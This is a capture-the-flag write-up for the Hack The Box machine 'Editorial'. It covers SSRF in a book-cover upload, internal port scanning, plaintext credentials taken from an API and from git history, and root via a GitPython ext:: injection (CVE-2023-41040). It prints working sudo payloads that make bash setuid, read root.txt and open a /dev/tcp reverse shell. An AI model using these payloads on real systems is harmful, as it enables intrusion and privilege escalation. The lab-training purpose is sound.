Editorial writeup
Editorial is a Linux box that involves SSRF exploitation, internal port enumeration, git credential extraction, and privilege escalation via a GitPython vulnerability (CVE‑2023‑41040). We will discover an SSRF vulnerability in a book cover upload feature, use it to scan internal ports, retrieve API credentials, access a git repository to find production user credentials, and exploit a vulnerable sudo‑allowed Python script to gain root access.
Run an nmap scan
sudo nmap -sCV -vv -oA nmap/editorial.htb editorial.htb
# Nmap 7.98 scan initiated Wed Jan 7 23:01:53 2026 as: nmap -sCV -vv -oA nmap/editorial.htb editorial.htb
Nmap scan report for editorial.htb (10.129.56.95)
Host is up, received echo-reply ttl 63 (0.79s latency).
Scanned at 2026-01-07 23:01:54 +05 for 32s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMApl7gtas1JLYVJ1BwP3Kpc6oXk6sp2JyCHM37ULGN+DRZ4kw2BBqO/yozkui+j1Yma1wnYsxv0oVYhjGeJavM=
| 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXtxiT4ZZTGZX4222Zer7f/kAWwdCWM/rGzRrGVZhYx
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
|_http-title: Editorial Tiempo Arriba
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /nix/store/hil6r8hvx4cmcw4367pkw5jqphf37ijf-nmap-7.98/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 7 23:02:26 2026 -- 1 IP address (1 host up) scanned in 33.44 seconds
80 port (HTTP) is open, visit the website: 
Nothing on the website does anything, but we have this /upload page which lets you upload a book
Interestingly, it also allows you to fetch a cover for the book from an arbitrary URL, which sounds like it could be vulnerable to SSRF. We could try inserting URL of a an IP we control, click “Preview” button and monitor logs for incoming connections.
It didn’t work with the burp collaborator, likely because machines in HTB don’t have access to the internet, so you can make it connect to you directly instead
Find your IP with
ip addr show | grep tun0
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
inet 10.10.17.46/23 scope global tun0
ip addr show shows IP addresses for all network interfaces, then grep tun0 filters it to only show IP address to tun0, which is a VPN interface, which is your hackthebox VPN interface
then open a listener on your machine to check if server would actually send a request to your IP, confirming SSRF vulnerability
ncat -lvnp 8000
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 10.129.58.164:37878.
GET / HTTP/1.1
Host: 10.10.17.46:8000
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
The server sent a request to our address, in real world it could be used to bypass IP cloacking from a WAF, and then we could use this IP to further enumerate the target
Also, you can get your IPv6 address, send a request to it from a server to get his IPv6 address. It’s useful because firewalls might be configured only for IPv4, meaning scanning IPv6 address with nmap could get us more open ports that weren’t meant to be open.
python-requests gives us more information about the library server uses to send requests. This library is unlikely to process any non-HTTP URL requests like file://, so we can skip this step in our testing
Create an intruder attack to enumerate ports on the server.
Notice how every port returns the same image? Create a negative search on this text to only view responses that would be different: 
Port 5000 returns a different link.
Following this endpoint, it returns you a file with the following text:
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
Try endpoint /api/latest/metadata/messages/authors 
Following this link retrieves a file with following contents:
Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.
Your login credentials for our internal forum and authors site are:
Username: dev
Password: dev080217_devAPI!@
Please be sure to change your password as soon as possible for security purposes.
Don't hesitate to reach out if you have any questions or ideas - we're always here to support you.
Best regards, Editorial Tiempo Arriba Team.
New credentials! dev:dev080217_devAPI!@
ssh [email protected]
The authenticity of host 'editorial.htb (10.129.58.164)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Jan 11 11:47:12 AM UTC 2026
System load: 0.08
Usage of /: 61.0% of 6.35GB
Memory usage: 13%
Swap usage: 0%
Processes: 225
Users logged in: 0
IPv4 address for eth0: 10.129.58.164
IPv6 address for eth0: dead:beef::250:56ff:feb0:5bd4
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$
And they work on SSH too!
Only 3 users have shell access, and prod is the only non-root user who isn’t us
cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
Notice that the apps folder has .git repository
dev@editorial:~$ ls -la apps/
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 2024 .
drwxr-x--- 4 dev dev 4096 Jun 5 2024 ..
drwxr-xr-x 8 dev dev 4096 Jun 5 2024 .git
git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: app_api/app.py
deleted: app_editorial/app.py
deleted: app_editorial/static/css/bootstrap-grid.css
deleted: app_editorial/static/css/bootstrap-grid.css.map
deleted: app_editorial/static/css/bootstrap-grid.min.css
deleted: app_editorial/static/css/bootstrap-grid.min.css.map
deleted: app_editorial/static/css/bootstrap-grid.rtl.css
deleted: app_editorial/static/css/bootstrap-grid.rtl.css.map
deleted: app_editorial/static/css/bootstrap-grid.rtl.min.css
deleted: app_editorial/static/css/bootstrap-grid.rtl.min.css.map
deleted: app_editorial/static/css/bootstrap-reboot.css
deleted: app_editorial/static/css/bootstrap-reboot.css.map
deleted: app_editorial/static/css/bootstrap-reboot.min.css
deleted: app_editorial/static/css/bootstrap-reboot.min.css.map
deleted: app_editorial/static/css/bootstrap-reboot.rtl.css
deleted: app_editorial/static/css/bootstrap-reboot.rtl.css.map
deleted: app_editorial/static/css/bootstrap-reboot.rtl.min.css
deleted: app_editorial/static/css/bootstrap-reboot.rtl.min.css.map
deleted: app_editorial/static/css/bootstrap-utilities.css
deleted: app_editorial/static/css/bootstrap-utilities.css.map
deleted: app_editorial/static/css/bootstrap-utilities.min.css
deleted: app_editorial/static/css/bootstrap-utilities.min.css.map
deleted: app_editorial/static/css/bootstrap-utilities.rtl.css
deleted: app_editorial/static/css/bootstrap-utilities.rtl.css.map
deleted: app_editorial/static/css/bootstrap-utilities.rtl.min.css
deleted: app_editorial/static/css/bootstrap-utilities.rtl.min.css.map
deleted: app_editorial/static/css/bootstrap.css
deleted: app_editorial/static/css/bootstrap.css.map
deleted: app_editorial/static/css/bootstrap.min.css
deleted: app_editorial/static/css/bootstrap.min.css.map
deleted: app_editorial/static/css/bootstrap.rtl.css
deleted: app_editorial/static/css/bootstrap.rtl.css.map
deleted: app_editorial/static/css/bootstrap.rtl.min.css
deleted: app_editorial/static/css/bootstrap.rtl.min.css.map
deleted: app_editorial/static/images/login-background.jpg
deleted: app_editorial/static/images/pexels-janko-ferlic-590493.jpg
deleted: app_editorial/static/images/pexels-min-an-694740.jpg
deleted: app_editorial/static/js/bootstrap.bundle.js
deleted: app_editorial/static/js/bootstrap.bundle.js.map
deleted: app_editorial/static/js/bootstrap.bundle.min.js
deleted: app_editorial/static/js/bootstrap.bundle.min.js.map
deleted: app_editorial/static/js/bootstrap.esm.js
deleted: app_editorial/static/js/bootstrap.esm.js.map
deleted: app_editorial/static/js/bootstrap.esm.min.js
deleted: app_editorial/static/js/bootstrap.esm.min.js.map
deleted: app_editorial/static/js/bootstrap.js
deleted: app_editorial/static/js/bootstrap.js.map
deleted: app_editorial/static/js/bootstrap.min.js
deleted: app_editorial/static/js/bootstrap.min.js.map
deleted: app_editorial/templates/about.html
deleted: app_editorial/templates/index.html
deleted: app_editorial/templates/upload.html
no changes added to commit (use "git add" and/or "git commit -a")
All files were deleted, but they are still saved in .git history
git log -G prod
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
* This contains the base of this project.
* Also we add a feature to enable to external authors send us their
books and validate a future post in our editorial.
This command shows all commits that have prod in their diffs’ Looking at the first commit, it has exposed prod user credentials
dev@editorial:~/apps$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
diff --git a/app_api/app.py b/app_api/app.py
index 61b786f..3373b14 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,7 +64,7 @@ def index():
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
return jsonify({
- 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
}) # TODO: replace dev credentials when checks pass
# -------------------------------
New credentials! prod:080217_Producti0n_2023!@
su - prod
can help to switch users without reentering ssh session
prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
User prod can run this python script as root, if you find a vulnerability in this script it would allow privilege escalation to root
-rwxr-x--- 1 root prod 256 Jun 4 2024 clone_prod_change.py
We can’t edit this script, but we can supply arguments to it. See if there arguments are used without validation to find a vulnerability
cat clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
There is a publicly known vulnerability in python’s Repo library, whose example looks exactly like our script
# PoC
from git import Repo
r = Repo.init('', bare=True)
r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])
Copy bash to /tmp
cp /usr/bin/bash /tmp
Change owner to root
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c chown% root:root% /tmp/bash"
And allow everyone to execute this bash binary as the file owner (root)
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c chmod% 4755% /tmp/bash"
ls -la bash
-rwsr-xr-x 1 root root 1396520 Jan 11 13:08 bash
Then use argument -p to retain setuid permissions
./bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
Alternatively, you could just output root.txt contents directly to /tmp folder
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c cat% /root/root.txt% >% /tmp/root.txt"
Or you could send yourself a reverse shell
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c bash% -c% 'sh% -i% >&% /dev/tcp/<IP_ADDRESS>/<PORT>% 0>&1'"
Credentials
dev:dev080217\_devAPI!@
prod:080217\_Producti0n\_2023!@